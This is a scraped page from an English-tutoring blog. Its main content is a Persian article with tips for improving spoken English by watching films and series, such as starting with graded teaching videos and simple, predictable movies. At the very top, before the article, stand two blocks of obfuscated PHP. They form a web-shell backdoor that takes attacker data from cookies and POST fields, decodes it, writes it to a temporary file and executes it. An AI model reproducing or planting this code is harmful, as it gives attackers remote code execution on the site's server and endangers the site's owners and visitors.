$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} روش های هیجان انگیز تقویت مکالمه انگلیسی با تماشای فیلم و سریال | وبلاگ اتیچر

روش های هیجان انگیز تقویت مکالمه انگلیسی با تماشای فیلم و سریال

زمان مطالعه: ۵ دقیقه

فهرست بخش ها

روش های عملیاتی تقویت مکالمه  زبان انگلیسی با تماشای فیلم و سریال:

همان‌طور که می‌دانید، یکی از راه‌های مهم و رایج برای تقویت زبان انگلیسی به خصوص تقویت مکالمه انگلیسی، تماشای فیلم‌ های زبان‌ اصلی است.  به گفته بسیاری از معلمین زبان انگلیسی و همچنین افراد آگاه در این زمینه، تماشای فیلم‌ های انگلیسی باید در لیست فعالیت های روزانه زبان آموزان قرار بگیرد.

در این نوشته قصد داریم تا شما را با شیوه استفاده بهتر از فیلم‌های هالیوودی برای آموزش مؤثرتر آشنا کنیم تا بتوانید در تقویت مکالمه انگلیسی حداکثر استفاده را از این روش هیجان انگیز داشته باشید.

در ابتدا لازم به ذکر است که جای هیچ‌گونه نگرانی نیست اگر نتوانستید متوجه مکالمه‌های موجود در این‌گونه فیلم‌ها شوید زیرا این مشکل بسیاری از زبان آموزان است.

نکته مهم این است که فیلم‌های زبان‌اصلی ساخت هالیوود برای افراد بومی آمریکا ساخته‌شده‌اند و اهداف آموزشی ندارند. به‌عبارت‌دیگر، به‌هیچ‌عنوان از بازیگران این فیلم‌ها خواسته نمی‌شود تا زبان خود را برای درک بهتر تماشاچیان ساده‌تر کنند و یا استفاده از اصلاحات و عبارات دشوار را محدودتر کنند. اکثر فیلم‌های آمریکایی سرشار از عبارات و اصلاحات کوچه‌بازاری است و اکثر این عبارات در ایالت های خاصی از آمریکا مورداستفاده قرار می‌گیرند. به همین دلیل درصورتی‌که قادر به درک این عبارات نیستید، جای هیچ‌گونه نگرانی وجود ندارد. به تماشای این فیلم‌ها ادامه دهید و سعی کنید حداکثر استفاده را از آن‌ها داشته باشید. شما نباید به‌هیچ‌عنوان در این راه کم بیاورید. به تماشای فیلم‌ها ادامه دهید و  سعی کنید محتوای موجود در آن را بهتر درک کنید تا معجزه این روش را در تقویت مکالمه انگلیسی مشاهده کنید!

در حقیقت سرعت مکالمه افراد انگلیسی زبان بالا است. همانگونه که مکالمه سریع در زبان‌های بومی هر کشوری رایج است. مطمئنا شخصآ شما نیز تاکنون به‌سرعت مکالمه خود در زبان فارسی دقت نکرده‌اید.این موضوع کاملاً طبیعی است.

یکی از دلایل مهم برای عدم درک مکالمات سریع در میان انگلیسی‌ زبان‌ها، عدم گوش دادن به مکالمات این افراد از دوران کودکی است. به همین دلیل ذهن اکثر زبان آموزان هنوز برای درک چنین ساختارهایی آماده نشده است. بنابراین برای تقویت این مهارت، باید گوش دهید و سعی کنید تا از تماشای فیلم‌ها و موسیقی های انگلیسی زبان لذت ببرید.

به‌صورت کلی باید قبول کنید که سرعت مکالمه این افراد بالا است. ولی می‌توانید با تمرین بیشتر خود را برای درک موضوعات مطرح‌شده توسط آن‌ها آماده کنید.

استاد پرهام نیز در ویدئو زیر نکات و اصطلاحات مربوط به مکالمه پیشرفته زبان انگلیسی همچون افراد انگلیسی زبان را توضیح میدهند.

 

درصورتی‌که فکر می‌کنید سطح زبان شما پایین است:

جای تعجبی نیست اگر شما هم همانند بسیاری دیگر از زبان آموزان، وقتی با افراد انگلیسی‌زبان گفتگو کنید، و یا فیلم‌ های زبان‌ اصلی را تماشا نمایید، به این نتیجه برسید که از دانش زبانی محدودی برخوردار هستید. ولی در حقیقت چنین موضوعی نیز کاملاً طبیعی است. شاید مدت زیادی نیست که یادگیری زبان انگلیسی را آغاز کرده باشید، و در این مدت کم از خود انتظار داشته باشید تا بتوانید به‌صورت قابل قبولی با افراد انگلیسی‌ زبان ارتباط برقرار کنید. ولی باید قبول کنید که تقویت مکالمه انگلیسی به زمان نیاز دارد. همیشه در ذهن داشته باشید که اکثر بازیگرانی که در هالیوود فعالیت می‌کنند، آمریکایی هستند و یا قسمت اعظمی از زندگی خود را در کشورهای انگلیسی زبان سپری کرده‌اند. اگر این افراد نتوانند به زبان انگلیسی مکالمه کنند، باید تعجب کرد! به همین دلیل نباید از دیدن این افراد در توانایی‌های خود شک ایجاد کرد و یا مأیوس شد.

تقویت مکالمه انگلیسی با کمک ابزار فیلم و سریال

به‌طور خلاصه یادگیری زبان انگلیسی به زمان نیاز دارد. به همین دلیل نباید نگران باشید و سعی کنید در این راه به اهداف بلندمدت خود فکر کنید.

در ادامه نکات مهمی در زمینه تماشای فیلم‌های زبان اصلی بیان‌شده‌اند که رعایت آن‌ها باعث تأثیرگذاری بیشترشان در روند یادگیری زبان انگلیسی و تقویت مکالمه انگلیسی خواهد شد.

نکته اول: در ابتدا سعی کنید فیلم‌ هایی را تماشا کنید که با اهداف آموزشی و به‌منظور آموزش زبان تهیه‌شده‌اند:

این‌گونه فیلم‌ها اکثر اوقات توسط گروهی از معلمین زبان انگلیسی و یا متخصصین در دانشگاه کمبریج و یا آکسفورد با هدف تقویت مکالمه انگلیسی تهیه‌شده‌اند. به‌عنوان‌مثال اگر شما هم همانند بسیاری دیگر از سیستم Headway برای یادگیری زبان انگلیسی استفاده می‌کنید، به‌احتمال‌زیاد می‌دانید که ویدیوهای ۱۵ تا ۲۰ دقیقه‌ای نیز به همراه این کتاب‌ها عرضه‌شده است. سعی کنید که تمامی آن‌ها را با توجه به سطح خود تماشا کنید. این منابع آموزشی مطابق با سطح زبان آموزان طبقه‌بندی‌شده‌اند و ویدئوهای مختلفی برای سطوح ابتدایی تا پیشرفته وجود دارند. این‌گونه فیلم‌ها از منابع عالی برای یادگیری زبان انگلیسی و تقویت مکالمه انگلیسی به‌حساب می‌آیند. این‌گونه منابع آموزشی در نهایت باعث می‌شوند تا به روند آموزش زبان انگلیسی علاقه بیشتری پیدا کنید. پس به‌صورت کلی سعی کنید تا در ابتدا از ویدیوهای ساده‌تر شروع کنید.

تقویت مکالمه انگلیسی با سریال How I Met Your Mother

 

نکته دوم: از ویدیوهایی استفاده کنید که قبلاً با زبان‌ مادری خود یعنی فارسی، آن‌ها را تماشا کرده‌اید

درصورتی‌که برای تقویت مکالمه انگلیسی به تماشای ویدیوهایی بپردازید که قبلاً آن‌ها را به زبان فارسی تماشا کرده‌اید، به طور یقین با کلمات و عبارات آشنای زیادی برخورد خواهید کرد و در نتیجه درک و فهم چنین نمونه‌هایی برایتان بسیار ساده‌تر خواهد بود. علاوه بر این، می‌توانید در ابتدا چنین ویدیوهایی را به زبانی مادری خود تماشا کنید و سپس سراغ نمونه اصلی آن‌ها به زبان انگلیسی بروید. علاوه بر این، می‌توانید نتیجه چنین کاری را در خیلی سریع مشاهده کنید. موضوعی که واقعاً می‌توان از تماشای چنین ویدئویی به دست آورد، این است که زبان آموزان می‌توانند به‌صورت مستقل فکر کنند و در نتیجه نظرات و ایده‌های خود را به زبان انگلیسی بیان نمایند. واقعیت این است که در اکثر مواقع، زبان آموزان در ابتدا ایده‌های خود را به زبان مادری و سپس به زبان انگلیسی منتقل می‌کنند. ولی چنین تفکری از لحاظ علمی رد شده است و کاملاً اشتباه است.

پس به‌صورت کلی، در ابتدا فیلم‌ها را به‌صورت فارسی تماشا کنید و سپس سراغ نمونه‌های انگلیسی و یا زبان‌اصلی بروید.

نکته سوم: از تماشای فیلم‌های بسیار علمی و تخصصی پرهیز کنید:

چطور از خود انتظار دارید تا فیلم‌های علمی و تخیلی را تماشا و درک کنید. این‌گونه فیلم‌ها مملوء از عبارات و اصطلاحات مرتبط با رشته‌های تخصصی هستند. درصورتی‌که نمونه‌های مشابه ای را حتی در زبان‌ اصلی خود تماشا کنید، ممکن است باز هم متوجه بخشی از محتویات موجود در آن‌ها نشوید زیرا چنین فیلم‌هایی سرشار از عبارات و اصطلاحات علمی هستند. به همین علت اگر هدف شما تقویت مکالمه انگلیسی است  بهتر است از همان ابتدا از دیدن چنین نمونه‌هایی پرهیز کنید.

تقویت مکالمه انگلیسی با کمک فیلم مورد علاقه اتون

نکته چهارم: فیلم‌هایی با قابلیت پیش‌بینی تماشا کنید و یا از نمونه‌هایی استفاده کنید که از مسیر داستانی ساده‌ای برخوردار هستند

سعی کنید نمونه‌هایی را ببینید که از داستانی ساده استفاده می‌کنند و به راحتی می‌توانید آن‌ها را پیش‌بینی کنید. از نمونه‌های معروفی که در این زمینه وجود دارند، می‌توان به Mrs. Doubtfire, Speed, Home Alone, Richie Rich و بسیاری دیگر اشاره کرد.

ممکن است بگویید که این فیلم‌ها قدیمی هستند، ولی دوباره اهداف خود را به یادآورید. بله این فیلم ها قدیمی هستند! ولی هدف شما از تماشای آن‌ها چیست؟ آیا قصد دارید آخرین فیلم‌های هالیوود را تماشا کنید و یا هدف شما از تماشای آن‌ها تقویت مکالمه انگلیسی است؟

پس به‌صورت کلی از فیلم‌های ساده‌تر استفاده کنید. چنین نمونه‌هایی برای آموزش و تقویت مکالمه انگلیسی مشکلات کمتری به همراه خواهند داشت. هچنین به یاد داشته باشید که علاوه بر فیلم نگاه کردن برای تقویت مکالمه انگلیسی، اساتید سایت اُتیچر نیز میتوانند کمک شایانی به شما داشته باشند.

تقویت مکالمه انگلیسی به بهترین شکل ممکن با فیلم امکان پذیر است

به این مقاله امتیاز بدهید

بهناز رهبرزارع

مشاهده پروفایل استاد
از ()
استاد زبان
زبان آموز
کلاس برگزارشده

مشاهده بیشتر

نوشته های مرتبط

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search